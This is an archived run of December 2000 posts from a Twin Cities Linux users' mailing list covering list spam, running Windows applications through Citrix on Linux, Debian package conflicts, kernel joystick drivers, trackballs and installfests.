<20001210110906.A616@socrates.sistina.com> On Sun, Dec 10, 2000 at 10:08:09AM -0600, Michael Burns wrote: >work until one of the moderators or regulars "defected" or the spammers started posting on-topic questions to the list before spamming it or posed as regulars >before defecting. In which case we'd be forced to hunt them down like the pieces of trash they are and disembowel them with a rusty grapefruit spoon and feed thier parts to some hyenas at the zoo. -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 230 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001210/4b76249d/attachment.pgp From zibby at ringworld.org Sun Dec 10 12:24:29 2000 From: zibby at ringworld.org (Andy Zbikowski (Zibby)) Date: Mon Jan 17 13:13:27 2005 Subject: [TCLUG] Network setup question In-Reply-To: <20001210021528.C28679@wookimus.net> Message-ID: If you internal modem is anything like mine then you could just set the jumpers instead of using isapnp tools. My modem is set up to be /dev/ttyS1 (Com2 under dos/win) and my other serial port (used for my digital camara) is set as /dev/ttyS0. The second onboard serial port is disabled. Since it's not in Plug and Play mode, I don't have to muck around with isapnp tools. :) isapnp tools is actually pretty simple to deal with, but my new machine has no ISA slots. Kinda nice not having to deal with legacy stuff, except now if I ever move somewhere when I can't get cable or dsl I'm pretty much scrwed. :) | Andrew S. Zbikowski | Home: 763.591.0977 | | http://www.ringworld.org | Work: 763.428.9119 | | http://www.itouthouse.com | PCS: 612.306.6055 | | This message is protected by double ROT13 | | encryption. Any attempt to circumvent the | | digital protection is banned by the DMCA. | From hick0088 at tc.umn.edu Sun Dec 10 12:26:24 2000 From: hick0088 at tc.umn.edu (Michael Hicks) Date: Mon Jan 17 13:13:27 2005 Subject: [TCLUG] Gnome ported to Windows References: Message-ID: <3A33CAD0.EECE9285@tc.umn.edu> "Andy Zbikowski (Zibby)" wrote: > > http://www.ringworld.org/~zibby/Screenshots/AtWork.jpg > > Hey look, I can generate the same effect! :) > > To me it looks like they're just running a Windows based X server. Since > you can't see their windows taskbar this can't really be confirmed. Well, they _were_ running a Windows X server. They didn't port the applications to run through the native Windows GUI, so they need an X server. Whether the software is running on the local system or not is the real question... > On a similar note, here's my screenshot of IE "ported" to windows. > > http://www.ringworld.org/~zibby/Screenshots/Disturbing.png > > Now here's the riddle you have to solve: All biniaries on my system are > linux native. IE isn't running under wine, and the screenshot is not > doctored in anyway (other than I resised it...) Hmm.. I have a number of ideas, but I can't say any of them are anywhere close to being true. It could be that you're actually running a native Linux version of IE -- of course that would mean that you just broke an NDA with Microsoft or someone and are about to get sued into the ground. IE could have been converted to a native Linux app through use of some external program (I'm not aware of any such program for Linux, though there was a fair amount of work put into a similar utility for OS/2). You could just be lying about it running through an emulator. I know that I've run Windows apps through Wine on remote machine and had them display on my local box (just set $DISPLAY appropriately, and it works..) You would only have Linux-native apps on your own system in that case. The program could also be running natively on a Windows box, but just the window is being exported, rather than the entire display (Citrix WinFrame?) The browser that is running could actually be Mozilla (or another browser) running in a skin. You would need to change or remove the window border for that to work, though doing so is easy when using a window manager such as Sawfish. Lastly, you could be merely displaying an image without it being within a window border. -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ Double your drive space - / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ delete Windows! \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] From austad at marketwatch.com Sun Dec 10 12:57:27 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:28 2005 Subject: [TCLUG] Gnome ported to Windows Message-ID: > charges. Dude, buckle > down and get used to mutt, trust me it beats LookOut anyday. If you can tell me how to make Outlooks calendar, tasklist, and other stuff work with mutt so I can interact with all of the other people in my company, please do so. I've tried before, and there is no way to do it without using outlook. Someone was working on a *nix client for Exchange, but it could only get mail. Calendaring was not implemented yet. Unfortunately, when a company uses Exchange and Outlook, they come to depend on the features. I can't switch away from Outlook unless I have something that is compatible with all of the crappy exchange features. Jay > -----Original Message----- > From: Ben Lutgens [mailto:blutgens@sistina.com] > Sent: Sunday, December 10, 2000 9:41 AM > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] Gnome ported to Windows > > > On Sun, Dec 10, 2000 at 02:10:45AM -0600, Austad, Jay wrote: > >windows box. If I could just get outlook to display on my > linux box, my > First of all if you could we'd probably bring you up on > charges. Dude, buckle > down and get used to mutt, trust me it beats LookOut anyday. > -- > Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ > Sistina Software Inc. work: 612.379.3951 > Code Monkey Support (A.K.A. System Administrator) > Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 > From austad at marketwatch.com Sun Dec 10 14:03:20 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:28 2005 Subject: [TCLUG] Linux demos at stores Message-ID: Has anyone bugged Micro Center about setting up a demo box with Linux on it? They'd probably sell alot more copies if people got to play with it first. You gotta admit, helix-gnome with some semi-transparent aterms and a sweet background look way cooler than windows. Jay From tobytoo at black-hole.com Sun Dec 10 13:49:02 2000 From: tobytoo at black-hole.com (b. toberman) Date: Mon Jan 17 13:13:28 2005 Subject: [TCLUG] ATX case hardware problem (need parts) References: <062569AE.00660B1D.00@spps.org> <00120712523508.00333@Billbob_Linux> Message-ID: <3A33DE2E.E83DEAF3@black-hole.com> I think I have a few of those from the last puter I built. I only have 2 or 3 left though. Bill Layer wrote: > Hi Jon, > > On Thursday 07 December 2000 12:35, you wrote: > > Can you describe the stand-off parts - - metal or plastic, shape, > > dimensions, etc.? > > No, as I have never seen them. The holes into which the fit, are rectangulat, > about 1/4" x 1/3". A woman working at Tran Micro on University was kind > enough to give me a handful of metal standoff parts, that were more on teh > order of 1/4" square. It was fruitless, they didn't fit. > > I'm pretty sure they are metal, as there wouldn't be any hard chassis > grounding of the board if they were all plastic. There is only one type of > hole, so I assume that the parts are all one style. > > > If it's what I suspect, plastic rod stock, properly treated with saw and > > drill press, might suffice. > > It's just like a motorcycle. There are plenty of ways to fake it, but nothing > is ever as sweet or easy as the OEM parts. If I have to engineer something, > it's going to involve washers, screws, standoffs and JB-Weld. :) > > > -- > Bill Layer > > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list From blutgens at sistina.com Sun Dec 10 15:28:38 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:13:28 2005 Subject: [TCLUG] Gnome ported to Windows In-Reply-To: ; from austad@marketwatch.com on Sun, Dec 10, 2000 at 12:57:27PM -0600 References: Message-ID: <20001210152838.B799@socrates.sistina.com> On Sun, Dec 10, 2000 at 12:57:27PM -0600, Austad, Jay wrote: >If you can tell me how to make Outlooks calendar, tasklist, and other stuff >work with mutt so I can interact with all of the other people in my company, >please do so. I've tried before, and there is no way to do it without using >outlook. Someone was working on a *nix client for Exchange, but it could >only get mail. Calendaring was not implemented yet. My company is implementing web-based task scheduling. > >Unfortunately, when a company uses Exchange and Outlook, they come to depend >on the features. > More than enough reason for me to work there. Too bad they're in bed with M$ it's kinda sad. > >I can't switch away from Outlook unless I have something >that is compatible with all of the crappy exchange features. -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 Make the force be with you. And for god's sake men, be careful. ** Lt.Col. Eaton 3rd Battalion 14th Infantry - Panama Jungle 1991 -------------- next part -------------- A non-text attachment was scrubbed... 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If they're like the sales people at other stores they are morons. -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 Make the force be with you. And for god's sake men, be careful. ** Lt.Col. Eaton 3rd Battalion 14th Infantry - Panama Jungle 1991 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 230 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001210/0d51843a/attachment.pgp From austad at marketwatch.com Sun Dec 10 17:33:41 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:28 2005 Subject: [TCLUG] Linux demos at stores Message-ID: > who the hell is micro center and what makes you think that > there is anyone > there able to operate linux? YOU HAVEN'T BEEN TO MICRO CENTER???!??!??!??! It's on hwy 100 and excelsior I think. It's almost like Fry's electronics, but more focus on computer hardware. Prices are OK, not as good as buying on the net though. They sell just about every flavor of linux imaginable, of course, that doesn't mean they know how to use it. Speaking of Micro center, they have a Compaq Ipaq desktop web appliance for $200. You can pay cash for it and promise that you'll buy service and they'll let you walk out of the store with it. Anyone heard anything about linux on these? (kinda like the i-opener) > -----Original Message----- > From: Ben Lutgens [mailto:blutgens@sistina.com] > Sent: Sunday, December 10, 2000 3:30 PM > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] Linux demos at stores > > > On Sun, Dec 10, 2000 at 02:03:20PM -0600, Austad, Jay wrote: > >Has anyone bugged Micro Center about setting up a demo box > with Linux on it? > >They'd probably sell alot more copies if people got to play > with it first. > >You gotta admit, helix-gnome with some semi-transparent > aterms and a sweet > >background look way cooler than windows. > > > who the hell is micro center and what makes you think that > there is anyone > there able to operate linux? If they're like the sales people > at other stores > they are morons. > -- > Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ > Sistina Software Inc. work: 612.379.3951 > Code Monkey Support (A.K.A. System Administrator) > Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 > > Make the force be with you. And for god's sake men, be careful. > ** Lt.Col. Eaton 3rd Battalion 14th Infantry - Panama > Jungle 1991 > From tsandqui at yahoo.com Sun Dec 10 18:57:58 2000 From: tsandqui at yahoo.com (Tim Sandquist) Date: Mon Jan 17 13:13:28 2005 Subject: [TCLUG] joystick in 2.4.x Message-ID: <20001210185758.A9097@yahoo.com> Has anyone gotten joysticks, connected to a normal soundcard gameport, working in 2.4.x? Here is my setup: 2.4.0-test11 compiled with Input drivers for usb (and gameport joysticks?) gameport, grip, analog, and ns558 modules created. jscal cannot find the device. I have tried both the old dev entries (thinking that the gameport joysticks still use the old dev entries) and the new device entries that put joysticks in the input directory. Here is what I get in syslog if I use the ns558, gameport and grip modules: Dec 10 17:43:35 havoc kernel: gameport0: NS558 PnP at 0x200 size 8 speed 718 kHzDec 10 17:44:04 havoc kernel: input1: Gravis GamePad Pro on gameport0.0 If I use the analog.o module instead of grip I get this in the syslog: Dec 10 17:44:38 havoc kernel: gameport0: NS558 PnP at 0x200 size 8 speed 718 kHzDec 10 17:44:40 havoc kernel: input1: Analog 2-axis 4-button joystick at gameport0.0 [TSC timer, 501 MHz clock, 1404 ns res] So the kernel finds it but the calibration tool cannot find it. havoc:~# jscal /dev/js0 jscal: can't open joystick device: No such device havoc:~# ls -l /dev/js* lrwxrwxrwx 1 root root 9 Dec 10 17:34 /dev/js0 -> input/js0 lrwxrwxrwx 1 root root 9 Dec 10 17:34 /dev/js1 -> input/js1 lrwxrwxrwx 1 root root 9 Dec 10 17:34 /dev/js2 -> input/js2 lrwxrwxrwx 1 root root 9 Dec 10 17:34 /dev/js3 -> input/js3 havoc:~# ls -l /dev/input/js* crw-r--r-- 1 root root 13, 0 Dec 10 16:19 /dev/input/js0 crw-r--r-- 1 root root 13, 1 Dec 10 16:19 /dev/input/js1 crw-r--r-- 1 root root 13, 2 Dec 10 16:19 /dev/input/js2 crw-r--r-- 1 root root 13, 3 Dec 10 16:19 /dev/input/js3 Any ideas? Thanks. Tim From paschuman at uswest.net Sun Dec 10 21:44:19 2000 From: paschuman at uswest.net (Peter Schuman) Date: Mon Jan 17 13:13:28 2005 Subject: [TCLUG] can this list be fixed? Message-ID: <3A344D93.A76EC5F2@uswest.net> >On Sun, Dec 10, 2000 at 10:08:09AM -0600, Michael Burns wrote: >>work until one of the moderators or regulars "defected" or the spammers >>started posting on-topic questions to the >>list before spamming it or posed as regulars >>before defecting. >In which case we'd be forced to hunt them down like the pieces of trash >they are and disembowel them with a rusty grapefruit spoon and feed thier > parts to some hyenas at the zoo. >Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ I believe there are laws authorizing punishments for persons who abuse zoo animals with poisonous food. This could limit the attractiveness of this remedy for list pollution. -- Peter Schuman paschuman@uswest.net Vegetarians eat vegetables: Beware of humanitarians! From wilson at visi.com Sun Dec 10 22:12:50 2000 From: wilson at visi.com (Timothy Wilson) Date: Mon Jan 17 13:13:28 2005 Subject: [TCLUG] apt-get upgrade difficulties Message-ID: Hi everyone, I've been having problems lately with apt-get upgrading my Debian woody box. There are some dependency problems with some of the libgnomeprint packages. I'd like to get some hints from some of the Debian gurus on the best way to resolve these problems when they pop up. Here's what I get when I do the upgrade, followed by an 'apt-get -f install' which apt suggests as a possible remedy. Any suggestions would be appreciated. Thanks. -Tim copland:/home/wilson# apt-get upgrade Reading Package Lists... Done Building Dependency Tree... Done You might want to run `apt-get -f install' to correct these. Sorry, but the following packages have unmet dependencies: libgnomeprint11: Depends: libgnomeprint-data (>= 0.25-helix1) but it is not installed E: Unmet dependencies. Try using -f. copland:/home/wilson# apt-get -f install Reading Package Lists... Done Building Dependency Tree... Done Correcting dependencies... Done The following extra packages will be installed: libgnomeprint-bin libgnomeprint-data The following NEW packages will be installed: libgnomeprint-bin libgnomeprint-data 0 packages upgraded, 2 newly installed, 0 to remove and 44 not upgraded. 1 packages not fully installed or removed. Need to get 0B/196kB of archives. After unpacking 1491kB will be used. Do you want to continue? [Y/n] (Reading database ... 85593 files and directories currently installed.) Unpacking libgnomeprint-bin (from .../libgnomeprint-bin_0.25-helix1_i386.deb) ... dpkg: error processing /var/cache/apt/archives/libgnomeprint-bin_0.25-helix1_i386.deb (--unpack): trying to overwrite `/usr/bin/gnome-font-install', which is also in package libgnomeprint6 Unpacking libgnomeprint-data (from .../libgnomeprint-data_0.25-helix1_all.deb) ... dpkg: error processing /var/cache/apt/archives/libgnomeprint-data_0.25-helix1_all.deb (--unpack): trying to overwrite `/usr/share/fonts/afms/adobe/pagd8a.afm', which is also in package libgnomeprint6 dpkg-deb: subprocess paste killed by signal (Broken pipe) Errors were encountered while processing: /var/cache/apt/archives/libgnomeprint-bin_0.25-helix1_i386.deb /var/cache/apt/archives/libgnomeprint-data_0.25-helix1_all.deb E: Sub-process /usr/bin/dpkg returned an error code (1) -- Tim Wilson | Visit Sibley online: | Check out: Henry Sibley HS | http://www.isd197.k12.mn.us/ | http://www.zope.org/ W. St. Paul, MN | | http://slashdot.org/ wilson@visi.com | | http://linux.com/ From foeclan at winternet.com Sun Dec 10 22:30:21 2000 From: foeclan at winternet.com (Michael Vieths) Date: Mon Jan 17 13:13:28 2005 Subject: [TCLUG] Linux demos at stores In-Reply-To: Message-ID: Highway 100 and 36th Street, actually. Thus far, all the floor people I've encountered have actually been competent. One of them even hooked up the pair of speakers I was looking at and ran the copy of Half-Life he'd installed on one of the machines to let me test them out. Michael Vieths Foeclan@Winternet.Com On Sun, 10 Dec 2000, Austad, Jay wrote: > > who the hell is micro center and what makes you think that > > there is anyone > > there able to operate linux? > > YOU HAVEN'T BEEN TO MICRO CENTER???!??!??!??! It's on hwy 100 and excelsior > I think. It's almost like Fry's electronics, but more focus on computer > hardware. Prices are OK, not as good as buying on the net though. They > sell just about every flavor of linux imaginable, of course, that doesn't > mean they know how to use it. > > Speaking of Micro center, they have a Compaq Ipaq desktop web appliance for > $200. You can pay cash for it and promise that you'll buy service and > they'll let you walk out of the store with it. Anyone heard anything about > linux on these? (kinda like the i-opener) From blutgens at sistina.com Sun Dec 10 23:30:57 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:13:28 2005 Subject: [TCLUG] apt-get upgrade difficulties In-Reply-To: ; from wilson@visi.com on Sun, Dec 10, 2000 at 10:12:50PM -0600 References: Message-ID: <20001210233056.A4758@socrates.sistina.com> On Sun, Dec 10, 2000 at 10:12:50PM -0600, Timothy Wilson wrote: >Hi everyone, > >a possible remedy. Any suggestions would be appreciated. > > /var/cache/apt/archives/libgnomeprint-bin_0.25-helix1_i386.deb > /var/cache/apt/archives/libgnomeprint-data_0.25-helix1_all.deb run dpkg -i --force-overwite on both of these packages. -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 Make the force be with you. And for god's sake men, be careful. ** Lt.Col. Eaton 3rd Battalion 14th Infantry - Panama Jungle 1991 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 230 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001210/8a5a7cd2/attachment.pgp From austad at marketwatch.com Mon Dec 11 00:23:37 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:28 2005 Subject: [TCLUG] trackballs Message-ID: I broke down and bought the MS Optical trackball today. IT ROCKS! It's super smooth, works awesome for Quake, and has 5 buttons and a scrolly wheel. Though I have to modify my XF86Config yet to make all my buttons work. Much better than my trusty old Logitech trackman marble. I'll be buying some more tomorrow for work. Now I just have to rip it apart and install one of these sweet blue leds I have sitting here. :) Jay > -----Original Message----- > From: Austad, Jay > Sent: Sunday, December 10, 2000 4:15 AM > To: 'tclug-list@lists.real-time.com' > Subject: [TCLUG] trackballs > > > I have a Logitech trackman marble on all of my machines, and > I love it. > However, I noticed that MS came out with one of their optical > things that is > almost exactly like the Logitech one. Has anyone tried one yet? > Specifically, has anyone used one with quake? > > The Trackman doesn't pick up movements if I move it too fast > and it sucks > for quake. I'm wondering if the MS one will be any better. > > Jay > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From chewie at wookimus.net Sun Dec 10 23:43:07 2000 From: chewie at wookimus.net (Chad '^chewie' Walstrom) Date: Mon Jan 17 13:13:29 2005 Subject: [TCLUG] Gnome ported to Windows In-Reply-To: <3A33CAD0.EECE9285@tc.umn.edu>; from hick0088@tc.umn.edu on Sun, Dec 10, 2000 at 12:26:24PM -0600 References: <3A33CAD0.EECE9285@tc.umn.edu> Message-ID: <20001210234307.F28679@wookimus.net> On Sun, Dec 10, 2000 at 12:26:24PM -0600, Michael Hicks wrote: > "Andy Zbikowski (Zibby)" wrote: > > Now here's the riddle you have to solve: All biniaries on my > > system are linux native. IE isn't running under wine, and the > > screenshot is not doctored in anyway (other than I resised it...) > > Hmm.. I have a number of ideas, but I can't say any of them are > anywhere close to being true. Well, Andy, do you want to spill the beans, or do I? ;-) -- Chad "^chewie, gunnarr" Walstrom http://www.wookimus.net/ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001210/06cf2bd3/attachment.pgp From jethro at freakzilla.com Mon Dec 11 01:37:06 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:13:29 2005 Subject: [TCLUG] trackballs In-Reply-To: Message-ID: Hi, On Mon, 11 Dec 2000, Austad, Jay wrote: > Now I just have to rip it apart and install one of these sweet blue leds I > have sitting here. :) You mean like the one I have in my case? http://www.yaron.org/pic/led-4.jpg (: I have been looking for a trackball that'd be good for Tribes. Meaning good for running/shooting AND flying vehicles.... -Yaron -- From isla0005 at tc.umn.edu Mon Dec 11 02:43:21 2000 From: isla0005 at tc.umn.edu (Apu) Date: Mon Jan 17 13:13:29 2005 Subject: [TCLUG] [lug] next installfest References: Message-ID: <3A3493A8.CA97D0FD@tc.umn.edu> Hi luggers, I am wondering if we are having any installfest before christmas. I have a laptop with 200 MB available space and I would like to install linux or freebsd in it. So far installing the xserver with LCD display was a major pain is the ass and I could use some help here. Apu From jethro at freakzilla.com Mon Dec 11 00:49:17 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:13:29 2005 Subject: [TCLUG] Linux demos at stores In-Reply-To: Message-ID: Hi, On Sun, 10 Dec 2000, Michael Vieths wrote: > competent. One of them even hooked up the pair of speakers I was looking Able to install speakers, eh? That beats most the CompUSA sales drones.... -Yaron -- From thouck at thouck.com Mon Dec 11 03:50:01 2000 From: thouck at thouck.com (Timothy Houck) Date: Mon Jan 17 13:13:29 2005 Subject: [TCLUG] can this list be fixed? In-Reply-To: Message-ID: I was on a list once that required a magic word for each subscription. The subscribe mechanism sent a "logical question" that had an obvious one-word answer that had to be in the body of the reply for the subscription to work. Must've come from a database of maybe a dozen or so questions... like "what color rhymes with glue?", etc. I was also thinking, most spam is HTML these days, right? We could procmail filter messages with HTML tags. Timothy On Sun, 10 Dec 2000, Austad, Jay wrote: > The list does not allow posts from addresses that are not subscribed, I just > tested it. These spammers are actually subscribing to the list. Tedious > for the spammers maybe, but if you think about how many people each list > address is worth, it's probably worth it for them. > > All they really need to do is grep for "\-list" in their lists of addresses > that they harvest and write a script that subscribes to all of them, and > have something that autoreplies to them. Not hard. > > ORBS or MAPS is probably the only real solution for this. Baseball bats to > the kneecaps might work also, but then you have to find out where they live. > :) > > Some email programs have spam filters built in. Outlook does, but it > doesn't work very well. Most of the emails from managers at my company show > up as spam. Maybe that's not a bug though.... hrm.. > > Jay > > > -----Original Message----- > > From: eric [mailto:eric@urbanrage.com] > > Sent: Saturday, December 09, 2000 7:33 PM > > To: tclug-list@lists.real-time.com > > Subject: [TCLUG] can this list be fixed? > > > > > > Can this list be fixed so at least you have to be subscribed > > to spam it > > (please)? > > > > Eric > > eric@urbanrage.com > > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > --------------------------------------------------------------------- Timothy Houck thouck@thouck.com www.thouck.com From thouck at thouck.com Mon Dec 11 03:50:38 2000 From: thouck at thouck.com (Timothy Houck) Date: Mon Jan 17 13:13:29 2005 Subject: [TCLUG] Gnome ported to Windows In-Reply-To: <20001210020438.B28679@wookimus.net> Message-ID: Probably VNC or some other such thing? On Sun, 10 Dec 2000, Chad '^chewie' Walstrom wrote: > On Sat, Dec 09, 2000 at 10:52:34PM -0600, Andy Zbikowski (Zibby) wrote: > > Now here's the riddle you have to solve: All biniaries on my system are > > linux native. IE isn't running under wine, and the screenshot is not > > doctored in anyway (other than I resised it...) > > > > Allright...this should be hard to figure out for those who know what I do > > at work...so stay outta this! :) So how did Zibby get IE running under > > linux? :) > > Oh, come on! I want to tell them! You're cheating SO badly with this > one! Can't I give them a hint? Please?! OK... I'm going to give > them one little hint... Think in terms of networking... > > -- > Chad "^chewie, gunnarr" Walstrom > http://www.wookimus.net/ > --------------------------------------------------------------------- Timothy Houck thouck@thouck.com www.thouck.com From austad at marketwatch.com Mon Dec 11 07:25:57 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:29 2005 Subject: [TCLUG] trackballs Message-ID: > You mean like the one I have in my case? > http://www.yaron.org/pic/led-4.jpg Yep, just like that. I have one in my case too. It's all part of my master plan to replace every led in my house with blue ones. :) > I have been looking for a trackball that'd be good for Tribes. Meaning > good for running/shooting AND flying vehicles.... You have to try one of these, they are by far the best trackball I've ever used. They have another version that you control with your fingers instead of your thumb, but I like the thumb ones. You can always return it if you don't like it. > -----Original Message----- > From: Yaron [mailto:jethro@freakzilla.com] > Sent: Monday, December 11, 2000 1:37 AM > To: 'tclug-list@lists.real-time.com' > Subject: RE: [TCLUG] trackballs > > > Hi, > > On Mon, 11 Dec 2000, Austad, Jay wrote: > > > Now I just have to rip it apart and install one of these > sweet blue leds I > > have sitting here. :) > > You mean like the one I have in my case? > http://www.yaron.org/pic/led-4.jpg > > (: > > I have been looking for a trackball that'd be good for Tribes. Meaning > good for running/shooting AND flying vehicles.... > > > -Yaron > > -- > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From ben at nerp.net Mon Dec 11 09:09:32 2000 From: ben at nerp.net (Ben Kochie) Date: Mon Jan 17 13:13:29 2005 Subject: [TCLUG] Linux demos at stores In-Reply-To: Message-ID: speaking of CompUSA... http://www.penny-arcade.com/view.php3?date=2000-09-20 Thank You, Ben Kochie (ben@nerp.net) *-----------------------* [ - * - * - * - * - * - * - * - ] | Unix/Linux Consulting | [ Haiku Error Message: ] | PC/Mac Repair | [ Chaos reigns within. ] | Networking | [ Reflect, repent, and reboot. ] | http://nerp.net | [ Order shall return. ] *-----------------------* [ - * - * - * - * - * - * - * - ] "Unix is user friendly, Its just picky about its friends." On Mon, 11 Dec 2000, Yaron wrote: > Hi, > > On Sun, 10 Dec 2000, Michael Vieths wrote: > > > competent. One of them even hooked up the pair of speakers I was looking > > Able to install speakers, eh? That beats most the CompUSA sales drones.... > > -Yaron > > -- > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From andyzb at ltiflex.com Mon Dec 11 09:38:38 2000 From: andyzb at ltiflex.com (Andy Zbikowski) Date: Mon Jan 17 13:13:29 2005 Subject: [TCLUG] Gnome ported to Windows References: <3A33CAD0.EECE9285@tc.umn.edu> <20001210234307.F28679@wookimus.net> Message-ID: <3A34F4FE.33B2674D@ltiflex.com> > Well, Andy, do you want to spill the beans, or do I? ;-) Ok ok, you've all mulled over it long enough. What you're seeing is Internet Explorer running as a published application off a Citrix Metaframe server. If you've delt with Windows 2000 server and noticed ther terminal services option, this is along those lines, but better. Microsoft uses a protocoll called RDP. The RDP protocol itself is essentially an extension of the ITU-T T.128 (aka T.SHARE) application sharing protocol. (the scary thing is that the first MS product to use RDP was Netmeeting.) Unfourtanatly for Microsoft (and in the long run, the end user...) MS cannot create RDP clients for platforms other than MS platforms due to their license agreement with Citrix. Citrix provides an addon to WinNT 4 Terminal Server Edition and Windows 2000 server called Metaframe. The advantages of Metaframe are the extremely thin ICA protocoll, which is nothing short of amazing. Citrix has ICA clients for just about every platform you can think of, and the ICA clients have more options than RDP. Like the example at hand, IE running on my linux desktop in a seemless window instead of displaying a full windows desktop. Sorry Jay, you're still outta luck for LookOut under Linux. If the pricing of Windows 2000 server doesn't get you, the price for the Metaframe add-ons really hurts the pocket book. Anyway, the secret is out... -- Andy Zbikowski, Sys Admin | (WEB) http://www.ltiflex.com LTI Flexible Products, Inc. | (PH) 763-428-9119 (EX) 132 21801 Industrial Blvd | (FX) 763-428-9126 Rogers, MN 55374 | (PCS) 612-306-6055 From clay at fandre.com Mon Dec 11 09:45:21 2000 From: clay at fandre.com (Clay Fandre) Date: Mon Jan 17 13:13:29 2005 Subject: [TCLUG] [lug] next installfest References: <3A3493A8.CA97D0FD@tc.umn.edu> Message-ID: <3A34F691.B8FF66BE@fandre.com> Apu wrote: > > Hi luggers, > I am wondering if we are having any installfest before christmas. I have a laptop > with 200 MB available space and I would like to install linux or freebsd in it. So > far installing the xserver with LCD display was a major pain is the ass and I > could use some help here. > No, we will not be having an installfest this month. I'm way too busy hanging out with my kid (http://www.fandre.com/carter) and things are just too hectic this time of year. (I'm sure most of you feel the same way, eh?) And I haven't even started my Christmas shopping yet. Our next installfest won't be until next spring since it's pretty hard lugging around hardware in sub-zero temps. Just send any questions you have to the list. I'm sure we can step you through just about anything. Or else let us know which part of town you live in and maybe someone lives near-by and could stop by to help you out. Clay From blutgens at sistina.com Mon Dec 11 09:51:02 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:13:29 2005 Subject: [TCLUG] [lug] next installfest In-Reply-To: <3A3493A8.CA97D0FD@tc.umn.edu>; from isla0005@tc.umn.edu on Mon, Dec 11, 2000 at 12:43:21AM -0800 References: <3A3493A8.CA97D0FD@tc.umn.edu> Message-ID: <20001211095102.B953@socrates.sistina.com> On Mon, Dec 11, 2000 at 12:43:21AM -0800, Apu wrote: >Hi luggers, >I am wondering if we are having any installfest before christmas. I have a laptop >with 200 MB available space and I would like to install linux or freebsd in it. So >far installing the xserver with LCD display was a major pain is the ass and I >could use some help here. You'lll need more that 200MB of space for either of these oses > > >Apu > >_______________________________________________ >tclug-list mailing list >tclug-list@lists.real-time.com >https://mailman.real-time.com/mailman/listinfo/tclug-list -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 Make the force be with you. And for god's sake men, be careful. ** Lt.Col. Eaton 3rd Battalion 14th Infantry - Panama Jungle 1991 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 230 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001211/8d025715/attachment.pgp From kbullock at ringworld.org Mon Dec 11 09:54:38 2000 From: kbullock at ringworld.org (Kevin R. Bullock) Date: Mon Jan 17 13:13:29 2005 Subject: [TCLUG] apt-get upgrade difficulties In-Reply-To: Message-ID: Rather than force the overwrites, I would uninstall (--purge) libgnomeprint6. It might take gnumeric or something along with it, but if you don't need it, then it'll be recompiled against the new library soon enough and you can re-install it. If you force overwrites it can make things messy when you want to uninstall libgnomeprint6 later. Pacem in Terris / Mir / Shanti / Salaam / Heiwa Kevin R. Bullock On Sun, 10 Dec 2000, Timothy 